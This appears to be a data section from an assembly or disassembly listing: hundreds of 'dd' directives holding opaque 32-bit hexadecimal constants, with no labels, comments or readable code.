		dd 0A15F0AACh, 0C34E3063h, 0D883D5A0h, 141E7407h, 6D10AA2Dh
		dd 34D98C9h, 0D43BBDE1h, 1F807F0Ch, 0FD00F983h,	0C90B1A7Ch
		dd 9CB1CF2h, 5DC8AA4Eh,	0A09E6087h, 0D9F79BBDh,	62CF2000h
		dd 0F0E61CEBh, 0F3425063h, 0E2F10019h, 150840F8h, 0A800E08Ah
		dd 0A1AB6623h, 7F94070Eh, 4F2A3948h, 62E5087h, 3F253036h
		dd 62012B29h, 0A4FE983Ah, 0A7EF8A0Ah, 0D28B65B0h, 11580049h
		dd 0CC2BB487h, 0EA2E081Ch, 2001D04h, 8A45B05Ah,	0E65D1C50h
		dd 0E45500BFh, 0DB0AAA4Ah, 0A1047509h, 0A75E92h, 0A7067D90h
		dd 80B0F71Eh, 0E4507B00h, 0C4038AB1h, 9278AAh, 320ADC8Bh
		dd 0F12C35F7h, 0A157A500h, 0B49431Dh, 0EDD50042h, 2BE9B2A3h
		dd 0AA0004F0h, 29DC7C3Bh, 7358F8h, 833A4025h, 72120EFAh
		dd 9CBA0500h, 4937E22Bh, 82D602DAh, 0DB3328EBh,	0D0BDCF81h
		dd 48C1C0E1h, 0F603B300h, 56DC8AF3h, 8E7043h, 4B0D7449h
		dd 0B4A0F475h, 62BEF600h, 0A5EAEB32h, 611A00C5h, 9F09E3FFh
		dd 82004A73h, 0F975410Ch, 0E6E72B93h, 16C300F7h, 0C41D8A8Eh
		dd 0A4009959h, 0B325223h, 10F122h, 3A80040Fh, 2763FD9h
		dd 0DDE6F41Eh, 9B9C8D80h, 28FEB6BAh, 7F94E860h,	1D74013Ch
		dd 9253511Eh, 1A60D624h, 5000812Ah, 0E8160C8Ch,	3A2A6A3h
		dd 0B2A87A57h, 43D8595Bh, 0EB00DCE2h, 6835BC0Bh, 38F685D8h
		dd 4E8E0295h, 5E4040FCh, 2A241BC3h, 6DA7F0EFh, 20E90B00h
		dd 897517BFh, 9F7E28h, 1A2DD429h, 547ED7Dh, 1F9BEF3Dh
		dd 0F7F486Ah, 6F1F1C35h, 2EFA40B7h, 1C38513Fh, 9F2013B6h
		dd 676C40A3h, 89283310h, 75D72900h, 91D09935h, 0F0970040h
		dd 12BFD972h, 69006238h, 7828B5Ch, 7504470Bh, 4F1F00F5h
		dd 62E9C150h, 13034C92h, 82A7EAEh, 9EEBB00Bh, 0F04F0016h
		dd 8D8F6628h, 820057DFh, 0A820E84Ch, 5133779h, 0F4E962BAh
		dd 90108370h, 24841E00h, 0FE4B80B9h, 0C0920011h, 0CC32C4EEh
		dd 0DF0066F5h, 3D317A4Eh, 9817744Ah, 3BF93CC0h,	75D11180h
		dd 5216B120h, 801A7E39h, 9AFD1439h, 4C9C76F7h, 6800332Ah
		dd 0C821EBF6h, 1701C334h, 18D0E316h, 0DAC8A7E5h, 0F0FE033Bh
		dd 77AB05EAh, 0B4DCB90h, 0A0D6FB07h, 80075C0h, 3AC1DE3h
		dd 2474273Ch, 0D60022E8h, 107C969Ah, 1EF56C0h, 68AEDE2h
		dd 0F80419C8h, 0A400450Bh, 0C309020Dh, 0ACC081h, 0D0E9C43Ah
		dd 28F71B64h, 0FFE7EB00h, 12BBA8CBh, 8E62008Ch,	47C76661h
		dd 0B1007CBFh, 0F8553388h, 580EF406h, 260071A0h, 258F308Eh
		dd 2CE42E0Fh, 32BE9C00h, 2735C133h, 45C73931h, 65013A3Ah
		dd 0F89636C6h, 0D78BFC46h, 4240EB03h, 9A7AD2CDh, 6B805F57h
		dd 807FC7F2h, 1E796000h, 557689C2h, 656B0030h, 0EB01F8A2h
		dd 7100B652h, 1499AF21h, 90532DAEh, 0A1DA00B8h,	17D7FD0h
		dd 0FB00C1C3h, 583096EBh, 1AE6BECh, 4088041Eh, 0EC2BF2EEh
		dd 5A0EE5C1h, 20E0BE4Bh, 0A46BEFADh, 0E412090Ch, 8500C35Bh
		dd 0B298486h, 0EC007BE2h, 0C00EA413h, 62CC1Eh, 3EF721ACh
		dd 2B305667h, 0EE787417h, 0D8803600h, 0F017EAh,	5D8D6346h
		dd 8C2405Fh, 9FFCA300h,	91F8122Bh, 17271DCEh, 22F34068h
		dd 1A1E44EFh, 1224890Eh, 1F536020h, 7014F13h, 86E8D4A3h
		dd 0B1CDD2A9h, 2ABB45C1h, 26FC01C0h, 0F080741Bh, 0A0200FEh
		dd 32DC752Dh, 640057E4h, 0F1415AC7h, 0A49678h, 5CD22F9h
		dd 539F1055h, 0EED68A00h, 8B8DCF54h, 37FA0B64h,	6C005B17h
		dd 85C3A432h, 4D8DE03h,	0C07C1B8Ch, 41FA7FDh, 434DFFB5h
		dd 0D6C8075h, 8E0045BAh, 0C4DC6AACh, 7EE407h, 8241D512h
		dd 1F484329h, 0A84B0B1Eh, 588EE0DFh, 666F6031h,	22355Ch
		dd 0EB176CCBh, 0FE9E161Eh, 7C04C3Ch, 55908345h,	0B20F7EA0h
		dd 8FB00Ah, 75963C8Dh, 0AABF6606h, 9949B000h, 781A91D3h
		dd 38B424D9h, 5F1DCFh, 6D31AB96h, 3201AA13h, 0A708C92Eh
		dd 0E0FE468Dh, 8925B4h
		dd 3D0320F5h, 227507A0h, 0F7660900h, 9FA10646h,	3E830F11h
		dd 81801A84h, 0C8CCAB7Eh, 404C0300h, 43C61D13h,	0E91801B8h
		dd 2EDB8D0Bh, 3F587010h, 0C07769F0h, 0C10590E4h, 0BC40ECF8h
		dd 0B012BB83h, 0A1E08Fh, 4FE8E1D9h, 0B1477FBh, 2DDBFC07h
		dd 0D810A73Ch, 0DD9B92h, 0A8A68343h, 4180FAA3h,	5C097401h
		dd 0EFD4BCDAh, 0DFF8C0h, 7B8DE675h, 9BA3003h, 8A9B6B00h
		dd 0E5152844h, 15C90DDh, 0E12AA8E8h, 2B05660Fh,	5CE207F0h
		dd 32002780h, 0BC90AAC0h, 300F839h, 0B9790892h,	4821FA1h
		dd 0C60C123Bh, 3C63AC3Ch, 78730EFFh, 35F1A19Fh,	6EFC25FCh
		dd 10E1F44h, 0FE0D414Fh, 0E01311A8h, 0ED137739h, 2A001FEBh
		dd 8931A642h, 5F850362h, 329325BFh, 21D0199Bh, 0F139A105h
		dd 37560008h, 0EAC1733Ah, 0D67F01h, 2538803h, 0C6A28C3h
		dd 68BEE01h, 0C8EA042Eh, 0CA0BD4h, 69B4840Fh, 795AFCB8h
		dd 0D66CE917h, 0C1EAAC00h, 31FFF3h, 0F6A6E7D1h,	1F7C0409h
		dd 0C4BF58h, 8C02D41h, 81A764h,	0B601B3DAh, 0F2730DE0h
		dd 52054900h, 4112D20Eh, 30F00009h, 0DF20F478h,	0D700286Dh
		dd 2B242AB8h, 1F0279C2h, 8534DAh, 0C5F2F5AAh, 8100AE9Bh
		dd 49B91B71h, 0F642F7h,	209E180Dh, 0C40E1F7Bh, 750F2400h
		dd 0EC6349CEh, 0D83917EBh, 53B700C1h, 0BEC620AAh, 0A322AF00h
		dd 44316421h, 58C073EAh, 5800848Dh, 0C6141603h,	80E8D507h
		dd 2AD13F00h, 0CCA0B9F7h, 9DEB1E1Fh, 0C0C99F8Ah, 0D557FB88h
		dd 9EA0FF48h, 0F8E9F045h, 0EEB0E49Bh, 0E2DBD01Eh, 46552D81h
		dd 3060FA89h, 0C2AC0096h, 0FF803EC1h, 51DC561h,	0B000AA6h
		dd 6DF4601h, 0EDA158BEh, 1A048600h, 66C9053Ah, 462B6000h
		dd 74012AAh, 31CE003Bh,	242C4A74h, 1D0061DFh, 1846D470h
		dd 60BDE852h, 0D055D02Bh, 24003843h, 2772BC5Bh,	7F980BC2h
		dd 0FE743E09h, 506AF900h, 0E0D90204h, 3EA43Bh, 0EB3FDF1Eh
		dd 1DDBDDh, 6614FF9Bh, 9E4CD2A9h, 50B02E38h, 0F800DDFEh
		dd 518AA4E9h, 36906Dh, 0ACC31785h, 87209832h, 0BA4ECA00h
		dd 2CE74FC4h, 0AE0003Ah, 4CDA0F73h, 9200290Dh, 69D9087h
		dd 3EA5370h, 8A261CA4h,	0B3F8CA0Eh, 513FC23Ah, 12A3D94h
		dd 0DAD26BC9h, 0FAC89081h, 9E3800F4h, 1CEA7214h, 0B5000228h
		dd 0DE27A8BCh, 7C2AE2B0h, 0F44A00BEh, 850FDBC0h, 550BCE0Bh
		dd 82560CB8h, 744737F6h, 9F9B00DCh, 965B0B18h, 42442900h
		dd 0BE16B980h, 0B0F0ECD5h, 2E3700DAh, 100C2B21h, 7000C807h
		dd 206D3859h, 0D8974Ah,	1F556AAFh, 511008EEh, 154B9007h
		dd 42107488h, 10C2344h,	793A14E4h, 0E073918Ah, 8010A5Ch
		dd 0B1049085h, 21E054FCh, 0EC6400F8h, 4042E02Ch, 5200CC88h
		dd 3150B056h, 2EF1B5BEh, 18781Ch, 0E2F41F87h, 40007305h
		dd 44B15CB8h, 0F255F96h, 15B24846h, 34807B00h, 0CB00C93Dh
		dd 1C2333E1h, 0B0BA1Ah,	6E48746Ch, 0B958FA6h, 9B7B221Ch
		dd 84C7D4h, 64729FBBh, 22E6DA3h, 7030F838h, 9C409178h
		dd 4003CD9h, 9BCE564Bh,	1EBEE013h, 0DE707CFBh, 0BD43C022h
		dd 8B5D34B2h, 962B0F39h, 0E8019AA3h, 4E7260EAh,	1CB03270h
		dd 31F44Dh, 0F71EE3DBh,	8CA08AD0h, 0C117FF3Ch, 90018BEh
		dd 0E0D108B3h, 4050073h, 71064135h, 0C301F8DBh,	0E6E2F30Dh
		dd 61DC6438h, 38B002Fh,	79AD8067h, 0CA0F3DA0h, 61CE21B8h
		dd 0BE980C6Dh, 0A1002CCh, 538D7CEBh, 7B12008Bh,	7FD1720Eh
		dd 734DDD00h, 0C3DAF8DCh, 0F25A24E0h, 76F6006Fh, 0C0641363h
		dd 0C1CA2900h, 158001E9h, 3F90084h, 81604E75h, 0E7E60D66h
		dd 260FFF00h, 0F8CEE0D2h, 0C716003Bh, 9D872177h, 100E6CAEh
		dd 20FA1406h, 859F7374h, 0E8D038FCh, 0E78009B9h, 4961DCAEh
		dd 0D097905Ch, 58210BFEh, 23870F72h, 0CC10908Ch, 4E000102h
		dd 0B8B9D75h, 0E430C985h, 2E923D7Ah, 0E9875600h, 0B0EF8A7Dh
		dd 6A0257F6h, 2BA9A78Fh, 9904C075h, 0DA7000B5h,	0C2848A8Dh
		dd 8000210h, 0CEE27BEBh, 7D7A5940h, 37EAC0h, 1B049727h
		dd 4580EB8Bh, 0E9812C00h, 0CCAACAEEh, 85C900A0h, 0A13C76C0h
		dd 20033C7h, 0C5DE1D6h,	4CE581E6h, 961F4401h, 9AA0400Dh
		dd 0D68B2D13h, 0A14C4A00h, 0D103D2CFh, 0F87500F0h, 0EB320109h
		dd 4CE6710Ch, 0A82FB407h, 83FB48A0h, 0F885A5FAh, 0FCBEE11h
		dd 7766A43h, 7D8A5F41h,	4A7BF0BBh, 95E0ED00h, 160CCEBFh
		dd 0CDB40038h, 8240EE9h, 0D40ED1F4h, 0E71015E6h, 6CA0FAA4h
		dd 5D69FEh, 1E85A0A5h, 0BDD1920Ch, 1F10E900h, 115629B1h
		dd 0B0CB0096h, 21D4B790h, 0DE009E0Fh, 64D3E7A7h, 28A55C6h
		dd 0EAF1FC45h, 0FC0126Eh, 8DEE3463h, 903B700h, 0C3CA1E88h
		dd 0CC480057h, 27B8AD5h, 4300070Bh, 0ACFD4647h,	37570F7h
		dd 0A786E80Ah, 8BB009BCh, 92012604h, 0D216F18Ah, 90D43E41h
		dd 170F000Dh, 94F2E681h, 24010C1Fh, 88318D79h, 69601108h
		dd 404705E0h, 0C0754B16h, 63943E9Ch, 5F39050Bh,	0BCFCF3h
		dd 4EC6751h, 9600D7B9h,	0FFB11C78h, 219BAh, 0AE140F35h
		dd 0B773A88Ah, 2DB8C500h, 89A99D29h, 174DDh, 2F43767Ch
		dd 0E27FE7A1h, 2606900h, 0FFE18041h, 3951EBCh, 181440D9h
		dd 0AAFE2D2h, 421C8F05h, 0EC805D88h, 8CB20Fh, 3C8D1281h
		dd 302A8718h, 0AD001FFEh, 1053D72Eh, 3A215624h,	80800231h
		dd 3289E6E3h, 0D00CA5Eh, 2034F075h, 7CEFB6FEh, 2CA400F5h
		dd 5B78ADE5h, 3E2862C6h, 4D00FBFFh, 955FEC7Eh, 4E46CE8h
		dd 0FB7DB09Ch, 42D5C20Eh, 0D438542h, 4BCED4B0h,	0B5B2A800h
		dd 6FFD0FEh, 1E3B7A80h,	0C087535Ch, 0B4A33A2Ah,	9900AFF4h
		dd 7660A7E6h, 7FB7560Bh, 0C5AC4C8Fh, 47EE0077h,	5FD6049Dh
		dd 1C0FCEAFh, 0F0F35Bh,	24EFF9C4h, 23AA003Eh, 99702EBh
		dd 0DA021455h, 4E4CC19Fh, 31306008h, 0F67600EDh, 0F827A1B6h
		dd 7A3EE719h, 0AD4F8371h, 881799A4h, 97C308h, 726E2453h
		dd 0F08910EDh, 5A83FC00h, 4C252144h, 0A4560EC4h, 0DEA0FDF2h
		dd 2451970h, 5FFEBDE4h,	2F020A74h, 1D096B86h, 7ED781D7h
		dd 0F4F4CCB3h, 9A6C0695h, 14A91CDDh, 0F756B200h, 3F2B85BEh
		dd 4D1903B8h, 817FEC1Ah, 0DD26E7D8h, 0CD078D77h, 592CD113h
		dd 0F430BFA0h, 0A53A3AA4h, 53293580h, 0B2FF0944h, 945D58h
		dd 0B7D42F8Bh, 0A34EBDh, 172A5036h, 89B9479Fh, 0D9C25367h
		dd 13F8AF21h, 1E76FCC8h, 1E649CB4h, 9DDDC08Ch, 0D779EF75h
		dd 3C0C9900h, 0D5822303h, 0E1225C73h, 0FE7E38h,	2B40BEEh
		dd 0E59764DAh, 8025623Fh, 6CA6E81Ch, 76F40D2h, 66751249h
		dd 4DF07022h, 4600BF45h, 0C3BBC4E5h, 0B203E6h, 3BDB4929h
		dd 0DF76A342h, 38B1AA00h, 754DAE6Ah, 92450027h,	18A61AEAh
		dd 9100046Fh, 0C0E88108h, 9580Bh, 4F02FEE0h, 10C1B7FDh
		dd 0A5C65700h, 4973B32Ah, 2FC72B2h, 0CA26F693h,	72E0C902h
		dd 5796D7Dh, 372B9B00h,	0FC6313B0h, 42ECF4h, 65C3F036h
		dd 57E3FF77h, 7402BC0Bh, 5588004Fh, 7729985h, 3896A4C4h
		dd 0C0409070h, 5200474Ah, 0EFE804C8h, 0FAFA7625h, 12F61Ah
		dd 77AA4E1Fh, 0F06B3A2h, 0B02F4A00h, 1C9AD354h,	2B6102F3h
		dd 4310906Eh, 0BC1349C0h, 2E01B30Fh, 0C65E460Bh, 0BD3800EEh
		dd 7364AF71h, 0DC004B46h, 9E4A52D4h, 50BD977h, 545386A8h
		dd 300480E8h, 0E600AF6Ah, 293E5C27h, 164CE3h, 97E4AC2Ch
		dd 925547Ch, 65142D00h
		dd 0C55A592Fh, 52240F4Ch, 7080F144h, 88D1074h, 54C6F80Eh
		dd 145DE043h, 6051C4h, 0FC9690EEh, 4978C931h, 53CA270Eh
		dd 0AC7A0155h, 3E30C830h, 8CA800E9h, 8B6F280h, 0EB00D166h
		dd 73D806C3h, 0E35C009h, 81F88320h, 0EDB8F300h,	7500CEFEh
		dd 0C17231EBh, 4FDA3Bh,	0F75BD584h, 6B83EED2h, 0C0EAD000h
		dd 98535A75h, 614D0143h, 94592747h, 0B4017024h,	77580D00h
		dd 2EDABC39h, 14AA00D8h, 0FCD3C842h, 0D200DDB0h, 1237BDF3h
		dd 0E14671h, 66B3290Bh,	24140383h, 0DF188A00h, 0D3DC80ADh
		dd 4EA00C1h, 6CFF92F8h,	8800056Eh, 12C60150h, 78BECB0h
		dd 5F3DD15Bh, 45ABE018h, 10009BD0h, 0A0212415h,	13FD63E8h
		dd 0B1EC12h, 7D2353E3h,	44397BF5h, 0FF2980AAh, 370F5F33h
		dd 330EDE5h, 0C82003C0h, 621B9197h, 0E05D6797h,	0CE576914h
		dd 564B5C00h, 0BAF65A05h, 3A603902h, 7940758Fh,	73EEBE0h
		dd 83000F46h, 0F16F10FEh, 5EC164h, 94E4B3EEh, 432296DFh
		dd 0E72A6700h, 2F39BF44h, 3BFF1CE6h, 0ABFA00D1h, 834FF88Ch
		dd 7C00E0F4h, 0C714EFB0h, 92C003h, 48AFC0Ah, 0B81F09A8h
		dd 839AF700h, 2441190h,	12010054h, 36E360C1h, 60088C3h
		dd 4A5FDC46h, 0ABD175h,	3F0DC659h, 0FAF411A2h, 817CD43Dh
		dd 0EBCBE54Eh, 88C8D9C4h, 9B70057h, 4E65B5Ah, 0F500F84Fh
		dd 98CE2B0Ch, 87D14h, 0CBD5A4ABh, 5874B32Ch, 0F28EC900h
		dd 50348485h, 22300AEh,	896E738Bh, 540060C6h, 419996B4h
		dd 7C1F74F6h, 28DF006Ah, 0D5659E20h, 8D003C22h,	0A92F8F95h
		dd 0B9C4CEh, 95E67BFh, 38F4C97Bh, 39F37E00h, 2CA5B430h
		dd 0D89F3A5Ch, 2A4B9C80h, 1358A48Fh, 0E9CA4Ch, 0A9E1AD96h
		dd 3C806B2h, 59880853h,	0ACE879B7h, 0C2001FCAh,	43E6B457h
		dd 0F9D9473h, 1A0A7A47h, 49FB97C0h, 0A3005481h,	13704AE3h
		dd 0E2CAB5Eh, 0FE48D040h, 0F2D2DE80h, 0DC79E57Ch, 0E432CA00h
		dd 3D16E78Ah, 892012Ch,	8541426Ah, 0D132035h, 511BE800h
		dd 24056775h, 0ABA900BFh, 23D08B8Ah, 8D015944h,	3B147B34h
		dd 21D853B1h, 0DB0D0328h, 104E0AB0h, 0E8B70389h, 0B503B33Bh
		dd 8DFED960h, 0B917B050h, 804B0070h, 6D91A5F3h,	0CA3EE3E2h
		dd 246E877Fh, 0AFD0EE68h, 0D49092h, 946AF612h, 54DF3EFCh
		dd 0A05EC403h, 0F8248489h, 1CF8A18h, 0D52C2B8Ch, 0DF9CC232h
		dd 93CC92A8h, 58158D1Eh, 0B97DD480h, 15BADB4h, 6429164Fh
		dd 0DC2BF33Bh, 8B7F05AAh, 674E0900h, 3CE85266h,	421F0027h
		dd 0BD06DC6Fh, 500EB9Dh, 0DF7959F7h, 0F90192h, 66A9AD98h
		dd 3BBEAF75h, 0CC07E095h, 0D4C80017h, 88C296A8h, 0D2257D21h
		dd 0F4CAF269h, 4A1C00CCh, 28E04B80h, 84F2E604h,	8FC15E00h
		dd 0AB14B8C7h, 1EC20019h, 33D202C8h, 11581649h,	63F500E9h
		dd 322126EBh, 1E6F00C4h, 1CC051F2h, 4B000BF7h, 3171885Fh
		dd 15BB53h, 80BA8606h, 0D2DFFAE1h, 3FC54B38h, 447E87EEh
		dd 0E0FE1F95h, 456DC868h, 0C22A00CCh, 4E67040Eh, 5C00F226h
		dd 0E996DE42h, 71B88D8h, 383957A5h, 0DB509241h,	630F30E0h
		dd 0B1BCDE00h, 61440C70h, 0ACB8EFh, 19947899h, 0A38D1B24h
		dd 0C210B00h, 0C898909Ch, 0A0643FA4h, 0F2F7E000h, 0AA4CBDF4h
		dd 88E41601h, 0A485D639h, 0B7AF60h, 919F14CDh, 0B2603426h
		dd 0FE0044F8h, 1DA4945h, 0E858Ah, 9551F828h, 0D54D224Fh
		dd 410048F2h, 3E2332E3h, 385479Ch, 984434EAh, 0C8A8FA6Dh
		dd 0A674943Ah, 0AAA1100h, 35BAE7E8h, 0DAF610h, 8861455Eh
		dd 8389CDD0h, 5336B907h, 0A880BE22h, 0B805BA2Bh, 0C3100F91h
		dd 0FB678BE0h, 5022703Dh, 0B0747AA9h, 9784D300h, 0E047469h
		dd 0BC243C4Ah, 0B9322D0Fh, 1EF01A2Ah, 0C7210044h, 0E06D4FCEh
		dd 9B611700h, 0F025472Ch, 0E570016h, 68EC75FFh,	7F041855h
		dd 0F503CF04h, 0DF39D180h, 1AA79E9h, 60CAE408h,	0D87118F6h
		dd 0E00E304Ch, 0AEA71B9Ah, 0C800DF14h, 0BAFA04DCh, 387606h
		dd 0B2F86822h, 0F70B4A74h, 1B488F1Eh, 3182CE00h, 42DC45h
		dd 599FDD18h, 34F24A38h, 0C7BCA1Eh, 4E0F2D00h, 2F19A1h
		dd 0ADD3FCECh, 0D6F84BFFh, 7F48803h, 0A8F603F3h, 77D5ECEh
		dd 40FD13D1h, 5042A12Ah, 0D7FCF40Bh, 923FFA00h,	1D4661DEh
		dd 0F8700001h, 0CE5DD597h, 330F104Ch, 0A09C76C9h, 0CFD62154h
		dd 0D9C10049h, 0C3725202h, 2000434Ch, 597EBEF7h, 7F5F0F97h
		dd 171E8EAh, 8231E06h, 0DCF40AC7h, 0C00222Dh, 2EC8DDCDh
		dd 75A8BCEh, 37C1E6A6h,	6B5D404Bh, 7903D0CBh, 7461F15Fh
		dd 0CEA0BF50h, 0CF5804h, 1B4BB75Eh, 0EA3168BAh,	6948C307h
		dd 0FFB02175h, 106F986h, 0ED823B51h, 0D873E116h, 0F3022085h
		dd 0FCC82C13h, 6F8CE189h, 0D057A8FBh, 0EB740045h, 11C967D6h
		dd 54E60770h, 86307900h, 6269384Ch, 0A0F21C5Ah,	75B28092h
		dd 0F0438EA6h, 760AD20Eh, 4DC7E1D3h, 5E20A5ACh,	36D1070Ch
		dd 0C02C448Dh, 808BB832h, 0B65A411Ch, 3019E2Eh,	0A1B7630h
		dd 1673C4h, 0C5E8902h, 42E4B956h, 20940100h, 9BB5632Bh
		dd 34F70064h, 0EEA47CE3h, 9CA0619Dh, 430001A0h,	4449534Ch
		dd 0B3C25Ch, 0A114DDA4h, 0D160849Eh, 212C9A03h,	0BF7862D3h
		dd 11054DD1h, 3D755D70h, 9E4867C2h, 0F32490Fh, 6E6A40DDh
		dd 273DFC44h, 14C40C00h, 425E7ED2h, 3EB977B1h, 0C21F4DD1h
		dd 0A8350003h, 69AC919Ch, 95083E00h, 0E65FB889h, 3AF7009Ah
		dd 44804EC8h, 0D47FA0D1h, 52A76300h, 0E2F617AFh, 0BA41C4Fh
		dd 0F4504019h, 0F0472D45h, 926BA00h, 1CAC2BCDh,	214300AAh
		dd 8B58D070h, 6101CA0Bh, 0F552E1B0h, 5D01C94h, 0E9A038Ch
		dd 5A2D9CB5h, 0E86EF381h, 48001A5Bh, 0EBE43CD3h, 0E41B41D8h
		dd 9E7451h, 0BDE74B50h,	0EDF909CCh, 27EEEF16h, 30014EE8h
		dd 2348D347h, 2F9C40B1h, 9403988Fh, 1281EC80h, 0CCFDB8C4h
		dd 3DDB009Ch, 8BFB9D89h, 0A43DA0B2h, 0A8318706h, 0F97008FEh
		dd 7CFC5D11h, 20F80590h, 0C0F04DF4h, 0BCBD8D85h, 2551370Fh
		dd 6E1160B9h, 0FA2659h,	0B1D52E10h, 6986A885h, 0C0958B03h
		dd 7BE8174Bh, 9BD400D2h, 112F5123h, 7D58C879h, 680B01E3h
		dd 2C67486Dh, 0DDFC30h,	0D30A82Ah, 312E491h, 58339D18h
		dd 4785E4h, 0DF5B68A0h,	1A9C59B8h, 46867D00h, 20988AF4h
		dd 42BD0053h, 0D554BA0Dh, 180308C5h, 0FEC4B676h, 9FACA884h
		dd 2E5A00DBh, 9D8B6229h, 0CB137C8Eh, 2A0399C3h,	0C0F91E49h
		dd 69A025h, 0F055C5E1h,	9A8D1524h, 65623Bh, 6409BE4Dh
		dd 9B14D5h, 0B5CFC94Ch,	0A76AE4B4h, 0EF1C1171h,	0E880EB13h
		dd 0F82AD904h, 525F0018h, 0F42135B3h, 0EB007AC9h, 0EF9113A5h
		dd 0FAF11758h, 641500D5h, 0D2BDF2CCh, 0BC006C16h, 2EEFA592h
		dd 0D02FC0h, 5096BA1Ch,	170B5CE7h, 1028DC00h, 23940843h
		dd 2C99004Ah, 0F288F1D4h, 0D801F4FFh, 126D39Fh,	72CCEB80h
		dd 0E02B0004h, 7DF26EC6h, 0A1749B8h, 18001975h,	404E2C70h
		dd 9900B8Ah, 0B6809543h, 0EF28FF0Ch, 0B8294F00h, 21441904h
		dd 0A536163Ch, 1723B038h, 41108D00h, 8634A8E4h,	960FB80h
		dd 7C77804h, 7DC2089Dh,	5A2CB0CDh, 0AC7C174Fh, 0D6A8C400h
		dd 29E5AFADh, 0F06B0351h, 558C61Bh, 2B81580h, 0FF921105h
		dd 3ABC842h, 0D0406C2h,	0CF8B0190h, 88558A01h, 0C55C6BFCh
		dd 855430h, 8D227EF6h, 0FB9A2CDFh, 0B6F01D28h, 0F12F1B16h
		dd 754EC901h, 0C4FC22DEh
		dd 0BBD607AFh, 40D2978Ah, 906260DDh, 0C9BA9601h, 0FC8B3B59h
		dd 616C8640h, 25DF04DCh, 0C056C439h, 0D7511380h, 8565E700h
		dd 0C13C03B8h, 21D18FEh, 0B50CDE7Dh, 1A894800h,	47681670h
		dd 0D4531ED7h, 1475C082h, 3ADC9DDh, 5FF3F400h, 4B52548Ah
		dd 1A1A4CDCh, 0D19DD700h, 3D5979AFh, 20A28800h,	0A6C0BEFFh
		dd 0E4766399h, 93E08966h, 0F076556h, 4F38D888h,	8AE3A630h
		dd 7FCBF444h, 0BCFC0084h, 46280B40h, 0B10E1333h, 21C66425h
		dd 53C348ECh, 7D3BC8h, 7C0A92FCh, 0FF895C4h, 63472407h
		dd 8C0DB12h, 25AFD3h, 0B7CCD411h, 0C224D8C4h, 0FF03F400h
		dd 2014B43Fh, 2EF200DCh, 5EC48130h, 0AC0062C8h,	839ADFC0h
		dd 82E293h, 7A1F56D9h, 1B9F53D0h, 42226200h, 0F811A9CCh
		dd 8CF81Ch, 1AB08D28h, 0D45EBDECh, 0F6CA2D00h, 67E84EA1h
		dd 0B25700C7h, 0CB3874CFh, 17009E50h, 1E2A1F92h, 0F412528Dh
		dd 85FCB9h, 4BC2A3C4h, 56786039h, 0D907B100h, 9A504409h
		dd 0ED2F0BAFh, 0E1804914h, 0B5ACC47h, 0ECF8D507h, 94804359h
		dd 0F88D88D7h, 73C20355h, 0B38979D1h, 661CFEB0h, 95111703h
		dd 0AB9946FCh, 0B00AF0Ch, 2DE855h, 57F9C843h, 41B5E2A7h
		dd 4BD47D00h, 2594218Bh, 0EB1900EDh, 4539029h, 8500884Ah
		dd 0F651D27Dh, 591CD3h,	109EE966h, 8751645h, 0A312F0C0h
		dd 7139DAh, 38F0E33Bh, 0B07A42A6h, 7B7CEA19h, 668B9AF4h
		dd 0D6000C87h, 8A892226h, 0C200AC98h, 0BF3B1441h, 3238ADh
		dd 0C99DF8EAh, 0A547CE26h, 9600C0F8h, 56D2D894h, 71E4278h
		dd 3B16A08Bh, 6475A145h, 309ADC0Bh, 474D600h, 1DEBF4C5h
		dd 46EF0087h, 0D22AAC19h, 0A371213Bh, 1E009E98h, 9F02201Bh
		dd 130C60h, 9695248Dh, 0B8F864CBh, 8BB44200h, 0DAAA121Bh
		dd 0C778E6h, 5BBCCEABh,	4344D668h, 0F888DB03h, 0AB3CD152h
		dd 42D4C060h, 7DC6B827h, 897E004Eh, 0D38B5355h,	577917FFh
		dd 8548A6C0h, 3B6DB4Bh,	0B23EF954h, 0E6C089A4h,	9D00EC0Bh
		dd 1A7910A2h, 1FC6FC14h, 47DC54B1h, 5070DDD8h, 79E5689Ch
		dd 0B921FE03h, 0B88AF085h, 0FB0938Bh, 22D8CC49h, 4576C05Fh
		dd 7567D59Ch, 8068E300h, 0AAAD644Fh, 0DE470094h, 731AB55Ah
		dd 0A900CBD2h, 0C5E58926h, 0E0C8BF39h, 4BBA3DD8h, 0F129B585h
		dd 0C9298002h, 4000F35Ch, 5283C607h, 0EE431DCh,	5D5B7905h
		dd 0A9263920h, 9D3B122Bh, 380E87ABh, 80CEBD1Ch,	2198A2D3h
		dd 3A0BB878h, 0DA003F30h, 0BA267F40h, 0CA7A5F4Eh, 0C1F42F0Fh
		dd 1F5C454Fh, 89680381h, 0FB182FCh, 65A8747Dh, 0E7FB81C7h
		dd 8BA00DAh, 5A3DB6DDh,	168D00D0h, 734C2474h, 228A3EB9h
		dd 0D8CE7800h, 69EFD688h, 68006CE8h, 0A48C32F5h, 14DC2933h
		dd 9DEE8D08h, 0D1150C0Fh, 8FE81A00h, 0DF1CE3D2h, 8540F5C2h
		dd 11752E2Fh, 7F1C0531h, 0EA3226BBh, 0AE961C0h,	3F8773CEh
		dd 0CC00E223h, 8B3D18A3h, 89011B19h, 0D90C0D03h, 68306B43h
		dd 0E8D400FBh, 0FA85A5BFh, 6701110Ah, 850F31Ch,	66C80F20h
		dd 0E323480Ch, 0C2127500h, 58EB1018h, 0B107B6B8h, 0F4E623Eh
		dd 804BA4D0h, 82130095h, 52980988h, 0AB0007EBh,	0DDB77716h
		dd 0B8FDE08Fh, 0E2A0075h, 14251046h, 520109F0h,	0BC5B118h
		dd 97CC71C9h, 1C2201BCh, 0E6015C17h, 29D0F028h,	840EB298h
		dd 20E1DAC4h, 59106C73h, 0A478DFh, 0EF8DACCFh, 49530C24h
		dd 0D70B1400h, 62E97F02h, 0F82000CEh, 5D788166h, 2E000910h
		dd 0B6A81451h, 0AE3DB9h, 0B4D694B7h, 2A13068Ah,	0F09AB300h
		dd 5CE65526h, 0EA0A3F32h, 0CF0EEE0Fh, 910F08E0h, 0B700500Ch
		dd 1102940h, 4CABA95Ch,	0B005314h, 55CF4AE9h, 0DC00DA11h
		dd 7F2877C0h, 0E617DDh,	8AC1F7E8h, 59A65052h, 8150400h
		dd 5F3B240Dh, 9751D8Eh,	5A0380DDh, 0EB607358h, 790CDE00h
		dd 0E428AF7Dh, 0F320015h, 66A881BEh, 0A1000D74h, 0C93AF2B9h
		dd 18E425Fh, 0DA8C0AFFh, 80A5F179h, 58252278h, 73B5CAh
		dd 3078C95Ch, 44F1DB5Eh, 5406AF00h, 0C6FA1392h,	4F8E005Bh
